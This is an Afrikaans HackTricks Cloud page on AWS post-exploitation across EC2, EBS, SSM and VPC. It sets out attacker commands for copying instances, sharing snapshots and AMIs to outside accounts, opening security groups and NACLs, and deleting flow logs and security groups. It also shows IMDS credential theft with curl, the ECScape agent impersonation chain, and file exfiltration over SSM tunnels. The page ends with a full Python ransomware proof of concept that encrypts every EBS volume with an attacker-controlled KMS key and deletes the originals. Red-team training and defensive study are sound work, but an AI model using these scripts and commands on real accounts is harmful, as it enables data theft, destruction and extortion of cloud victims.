AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
EC2 & VPC
Vir meer inligting, sien:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring dupliseer binnestromende en uitgaande verkeer vir EC2 instances binne ân VPC sonder die behoefte om enigiets op die instansies self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos ân network intrusion detection system (IDS) gestuur word vir ontleding en monitering.
ân Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te verkry:
Vir meer inligting, kyk na hierdie blad:
Copy Running Instance
Instansies bevat gewoonlik ân vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk EC2 privilege escalation tricks). ân Ander manier om te sien wat dit bevat, is om ân AMI te skep en ân nuwe instance (selfs in jou eie account) daarvandaan te begin:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, wat gewoonlik sensitiewe inligting sal bevat, daarom behoort die inspeksie daarvan hierdie inligting te openbaar.
As jy ân volume sonder ân snapshot vind, kan jy: ân snapshot skep en die volgende aksies uitvoer of dit eenvoudig mount in ân instance binne die rekening:
Covert Disk Exfiltration via AMI Store-to-S3
Voer ân EC2 AMI direk na S3 uit met CreateStoreImageTask om ân rou skyfbeeld te kry sonder snapshot-sharing. Dit maak volle aflyn forensiese ontleding of data-diefstal moontlik terwyl die instance-netwerk onveranderd bly.
AWS â Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Sluit ân io1/io2 Multi-Attach volume aan by ân tweede instance en mount dit as read-only om lewendige data te aftap sonder snapshots. Bruikbaar wanneer die slagoffer-volume reeds Multi-Attach binne dieselfde AZ aangeskakel het.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Skep ân EC2 Instance Connect Endpoint, verleen ingress, en injekteer kortstondige SSH-sleutels om private instances oor ân bestuurde tonnel te bereik. Bied vinnige laterale bewegingspaaie sonder om publieke poorte oop te maak.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Skuif ân slagoffer-ENI se sekondĂȘre private IP na ân aanvaller-beheerde ENI om vertroude hosts wat per IP op ân allowlist staan te imiteer. Hiermee kan interne ACLs of SG-reĂ«ls wat op spesifieke adresse gebaseer is, omseil word.
AWS â EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Hersassosieer ân Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat voorkom asof hulle vanaf vertroude publieke IPs kom.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
As ân security group-reĂ«l na ân customer-managed prefix list verwys, brei die toevoeging van aanvaller-CIDRs tot die lys stilweg toegang uit oor elke afhanklike SG-reĂ«l sonder om die SG self te verander.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Skep gateway- of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herwin. Deur AWS-managed private links te benut word ontbrekende IGW/NAT-beheermaatreëls vir data-exfiltrasie omseil.
AWS â Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
ân Aanvaller met die ec2:AuthorizeSecurityGroupIngress-toestemming kan inkomende reĂ«ls by security groups voeg (byvoorbeeld deur tcp:80 vanaf 0.0.0.0/0 toe te laat), en sodoende interne dienste aan die publieke Internet of andersins ongemagtigde netwerke blootstel.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
ân Aanvaller met ec2:ReplaceNetworkAclEntry (of soortgelyke) toestemmings kan ân subnet se Network ACLs (NACLs) wysig om dit baie permissief te maak â byvoorbeeld deur 0.0.0.0/0 op kritieke poorte toe te laat â en sodoende die hele subnet-reeks bloot te stel aan die Internet of aan onbevoegde netwerksegmente. Anders as Security Groups, wat per instance toegepas word, word NACLs op subnetvlak toegepas, so die verandering van ân beperkende NACL kan ân veel groter blast radius hĂȘ deur toegang tot baie meer hosts moontlik te maak.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
ân Aanvaller met ec2:Delete* en iam:Remove* regte kan kritieke infrastruktuurbronne en konfigurasies uitvee â byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes of attachments, security groups of rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, dataverlies, en verlies van forensiese bewyse veroorsaak.
Een voorbeeld is die verwydering van ân security group:
aws ec2 delete-security-group
âgroup-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Wys VPC Flow Logs na ân deur die aanvaller beheerde S3 bucket om netwerk-metadata (bron/bestemming, poorte) voortdurend buite die slagofferrekening te versamel vir langtermyn verkenning.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Selfs as jy ân EC2 so afskerm dat geen verkeer kan uitgaan nie, kan dit steeds exfil via DNS.
- VPC Flow Logs sal dit nie opneem nie.
- Jy het geen toegang tot AWS DNS logs nie.
- Deaktiveer dit deur âenableDnsSupportâ op false te stel met:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
ân Aanvaller kan API endpoints van ân rekening wat hy beheer, aanroep. Cloudtrail sal hierdie oproepe log, en die aanvaller sal die exfiltrate data in die Cloudtrail logs kan sien.
Open Security Group
Jy kan verdere toegang tot netwerkdienste kry deur poorte soos hierdie oop te maak:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Dit is moontlik om ân EC2 instance te laat loop en dit te registreer sodat dit ECS instances kan laat loop, en dan die ECS instances se data te steel.
For more information check this.
ECS-on-EC2 IMDS Misbruik en ECS Agent-nabootsing (ECScape)
Op ECS met die EC2 launch type neem die control plane elke task role aan en stoot die tydelike credentials af na die ECS-agent oor die Agent Communication Service (ACS) WebSocket-kanaal. Die agent dien daardie credentials daarna aan kontainers via die task metadata endpoint (169.254.170.2). Die ECScape-navorsing wys dat as ân kontainer IMDS kan bereik en die instance profile kan steel, dit die agent oor ACS kan naboots en elke task role credential op daardie host kan ontvang, insluitend task execution role credentials wat nie via die metadata-endpoint blootgestel word nie.
Aanvalsketting
- Steel die container instance role vanaf IMDS. IMDS-toegang is nodig om die host role te verkry wat deur die ECS-agent gebruik word.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Ontdek die ACS poll endpoint en vereiste identifiseerders. Gebruik die instance role credentials om
ecs:DiscoverPollEndpointaan te roep om die ACS endpoint te kry en identifiseerders te versamel soos die cluster ARN en container instance ARN. Die cluster ARN word blootgestel via task metadata (169.254.170.2/v4/), terwyl die container instance ARN via die agent introspection API of (indien toegelaat)ecs:ListContainerInstancesverkry kan word. - Naboots die ECS-agent oor ACS. Inisieer ân SigV4-ondertekende WebSocket na die poll endpoint en sluit
sendCredentials=truein. ECS aanvaar die verbinding as ân geldige agent-sessie en beginIamRoleCredentials-boodskappe vir alle tasks op die instance stroom. Dit sluit task execution role credentials in, wat ECR-pulls, Secrets Manager-opvraginge of CloudWatch Logs-toegang kan ontsluit.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS-bereikbaarheid met IMDSv2 + hop limit 1
Deur IMDSv2 te stel met HttpTokens=required en HttpPutResponseHopLimit=1 word slegs tasks geblokkeer wat agter ân ekstra hop (Docker bridge) woon. Ander netwerkmodes bly binne een hop van die Nitro controller en ontvang steeds antwoorde:
| ECS network mode | IMDS reachable? | Rede |
|---|---|---|
awsvpc | â | Elke task kry sy eie ENI wat steeds een hop van IMDS af is, so tokens en metadata-antwoorde kom suksesvol aan. |
host | â | Tasks deel die host-namespace, so hulle sien dieselfde hop-afstand as die EC2 instance. |
bridge | â | Antwoorde sterf op die Docker bridge omdat daardie ekstra hop die hop-limiet uitgeput. |
Daarom, moet jy nooit aanvaar dat hop limit 1 beskerm awsvpc of host-mode workloads nieâtoets altyd van binne jou kontainers.
Opsporing van IMDS-blokke per netwerkmode
-
awsvpc tasks: Sekuriteitsgroepe, NACLs, of routing-aanpassings kan nie die link-local 169.254.169.254 adres blokkeer nie omdat Nitro dit op-host injekteer. Kyk na
/etc/ecs/ecs.configvirECS_AWSVPC_BLOCK_IMDS=true. As die vlag ontbreek (standaard) kan jy IMDS direk vanaf die taak curl. As dit gestel is, pivot in die host/agent-namespace om dit terug te skakel of voer jou gereedskap buiteawsvpcuit. -
bridge mode: Wanneer metadata-versoeke misluk al is hop limit 1 gekonfigureer, het verdedigers waarskynlik ân
DOCKER-USERdrop-reël ingevoeg soos--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Lysiptables -S DOCKER-USERopenbaar dit, en root-toegang laat jou toe om die reël te verwyder of te herordeneer voordat jy IMDS navraag doen. -
host mode: Inspekteer die agent-konfigurasie vir
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Daardie instelling verwyder task IAM-rolle heeltemal, so jy moet dit Ăłf weer aktiveer, oorskakel naawsvpc-tasks, of credentials deur ân ander proses op die host steel. Wanneer die waardetrueis (standaard), kan elke host-mode prosesâinsluitend gecompromitteerde kontainersâIMDS bereik, tensy spesiale eBPF/cgroup-filters die adres169.254.169.254teiken; soek na tc/eBPF-programme of iptables-reĂ«ls wat daardie adres noem.
Latacora het selfs Terraform validation code vrygestel wat jy in ân teikenrekening kan plaas om te bepaal watter netwerkmodes steeds metadata blootstel en jou volgende stap te beplan.
Sodra jy verstaan watter modes IMDS blootstel, kan jy jou post-exploitation-pad beplan: teiken enige ECS task, versoek die instance profile, naboots die agent, en oes elke ander task role vir laterale beweging of persistensie binne die cluster.
Verwyder VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Vereiste toestemmings:
ssm:StartSession
Benewens command execution, laat SSM toe vir traffic tunneling wat misbruik kan word om te pivot vanaf EC2 instances wat nie netwerktoegang het as gevolg van Security Groups of NACLs nie. Een van die scenarioâs waar dit nuttig is, is om van ân Bastion Host te pivot na ân private EKS cluster.
Om ân sessie te begin moet jy die SessionManagerPlugin geĂŻnstalleer hĂȘ: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Installeer die SessionManagerPlugin op jou masjien
- Meld aan by die Bastion EC2 met die volgende opdrag:
aws ssm start-session --target "$INSTANCE_ID"
- Kry die Bastion EC2 AWS temporary credentials met die Abusing SSRF in AWS EC2 environment script
- Dra die credentials oor na jou eie masjien in die
$HOME/.aws/credentialslĂȘer as die[bastion-ec2]profiel - Teken in op EKS as die Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Werk die
serverveld in die$HOME/.kube/configlĂȘer by om nahttps://localhostte wys - Skep ân SSM tunnel soos volg:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Die verkeer van die
kubectl-hulpmiddel word nou deur die SSM-tunnel via die Bastion EC2 deurgestuur en jy kan die private EKS-cluster vanaf jou eie masjien bereik deur die volgende uit te voer:
kubectl get pods --insecure-skip-tls-verify
Neem kennis dat die SSL-verbindinge sal misluk tensy jy die --insecure-skip-tls-verify vlag (of die ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy beskerm teen enige soort MitM-aanvalle.
Laastens is hierdie tegniek nie spesifiek tot die aanval van privaat EKS-klusters nie. Jy kan willekeurige domeine en poorte stel om na enige ander AWS-diens of ân pasgemaakte toepassing te pivot.
Vinnige Plaaslike âïž Afstandlike Port Forward (AWS-StartPortForwardingSession)
As jy net een TCP-poort van die EC2 instance na jou plaaslike host hoef te forward, kan jy die AWS-StartPortForwardingSession SSM document gebruik (geen remote host-parameter benodig):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
Die opdrag stel ân bidirectionele tonnel in tussen jou werkstasie (localPortNumber) en die gekose poort (portNumber) op die instance sonder om enige inkomende Security-Group-reĂ«ls oop te maak.
Algemene gebruiksgevalle:
- File exfiltration
- Op die instance begin ân vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:
python3 -m http.server 8000
- Vanaf jou werkstasie haal die lĂȘers deur die SSM-tonnel:
curl http://localhost:8000/loot.txt -o loot.txt
- Toegang tot interne webtoepassings (bv. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Wenk: Komprimeer en enkripteer bewyse voordat jy dit eksfiltreer sodat CloudTrail nie die clear-text inhoud log nie:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Deel AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Soek sensitiewe inligting in openbare en private AMIs
- https://github.com/saw-your-packet/CloudShovel: CloudShovel is ân hulpmiddel wat ontwerp is om te soek na sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs). Dit outomatiseer die proses om instances vanaf teiken-AMIs te begin, hul volumes te mount en te skandeer vir potensiĂ«le secrets of sensitiewe data.
Deel EBS Snapshot
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
ân bewys van konsep soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notas. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
Eerstens, vanaf âattackerâ AWS rekening, skep ân customer managed key in KMS. Vir hierdie voorbeeld sal ons AWS die key data vir ons bestuur, maar in ân realistiese scenario sou ân kwaadwillige akteur die key data buite AWS se beheer behou. Verander die key policy om enige AWS account Principal toe te laat om die sleutel te gebruik. Vir hierdie key policy was die rekening se naam âAttackSimâ en die policy rule wat volle toegang gee word âOutside Encryptionâ genoem.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Die sleutelbeleid moet die volgende geaktiveer hĂȘ om die gebruik daarvan vir die enkripsie van ân EBS-volume toe te laat:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Nou, met die openbaar toeganklike sleutel beskikbaar, kan ons ân âslagofferâ rekening gebruik wat ân paar EC2-instansies gedraai het met ongeĂ«nkripteerde EBS-volumes aangeheg. Die EBS-volumes van hierdie âslagofferâ rekening is wat ons teiken vir enkripsie; hierdie aanval vind plaas onder die veronderstelde oortreding van ân hoĂ«-privilege AWS-account.
Soos in die S3 ransomware-voorbeeld. Die aanval gaan kopieĂ« van die aangehegte EBS-volumes skep deur snapshots te gebruik, die openbaar beskikbare sleutel van die âaanvallerâ rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instansies loskoppel en verwyder, en uiteindelik die snapshots verwyder wat gebruik is om die nuut enkripteerde EBS-volumes te skep.
Die resultaat is dat slegs enkripteerde EBS-volumes in die rekening oorbly.
Dit is ook die moeite werd om te noem dat die script die EC2-instansies gestop het om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike ongeënkripteerde volumes is nou weg.
Gaan daarna terug na die sleutelbeleid in die âaanvallerâ rekening en verwyder die âOutside Encryptionâ beleidsreĂ«l uit die sleutelbeleid.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Wag ân oomblik sodat die pas ingestelde key policy kan versprei. Gaan dan terug na die âvictimâ account en probeer om een van die pas geĂ«nkripteerde EBS volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
Maar wanneer jy probeer om die EC2 instance regtig weer te begin met die geĂ«nkripteerde EBS volume, sal dit net misluk en van die âpendingâ toestand terug na die âstoppedâ toestand gaan en daar bly, omdat die aangehegte EBS volume nie met die key ontsleuteld kan word nie, aangesien die key policy dit nie meer toelaat nie.
Dit is die python script wat gebruik is. Dit neem AWS creds vir ân âvictimâ account en ân publiek beskikbare AWS ARN waarde vir die key wat vir enkripsie gebruik gaan word. Die script sal geĂ«nkripteerde kopieĂ« maak van ALLE beskikbare EBS volumes wat aan ALLE EC2 instances in die geteikende AWS account geheg is, dan elke EC2 instance stop, die oorspronklike EBS volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs geĂ«nkripteerde EBS volumes in die geteikende âvictimâ account oorlaat. GEBRUIK DIT SLEGS IN âN TOETSMILIEU, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONGLIKE EBS VOLUMES WEGMAAK. Jy kan hulle herstel deur die gebruikte KMS key te gebruik en hulle na hul oorspronklike toestand via snapshots te herstel, maar ek wil jou net daarop wys dat dit uiteindelik ân ransomware PoC is.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Verwysings
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Covering Gaps in IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners â How to transfer files in AWS using SSM
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

